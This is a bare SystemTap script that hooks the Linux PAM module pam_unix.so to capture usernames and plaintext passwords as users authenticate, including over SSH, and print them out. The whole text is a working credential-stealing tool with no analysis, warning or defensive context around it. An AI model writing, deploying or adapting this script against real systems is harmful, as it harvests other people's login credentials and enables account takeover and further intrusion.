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1. #!/usr/bin/stap 
2. global username, pass, isSuccRet = 1; 
3. probe process("/lib/security/pam_unix.so").function("_unix_verify_password") 
4. { 
5. username = user_string($name); 
6. pass = user_string($p); 
7. } 
8. probe process("/lib/security/pam_unix.so").function("_unix_verify_password").return
9. { 
10. if ($return == 0) 
11. { 
12. printf("User: %s\nPassword: %s\n\n", username, pass); 
13. isSuccRet = 0; 
14. } 
15. } 
16. probe process("/lib/security/pam_unix.so").function("pam_sm_open_session") 
17. { 
18. if (isSuccRet != 0) 
19. { 
20. printf("Login via ssh service.\n\User: %s\nPassword: %s\n\n", username, pass); 
21. } 
22. isSuccRet = 1; 
23. }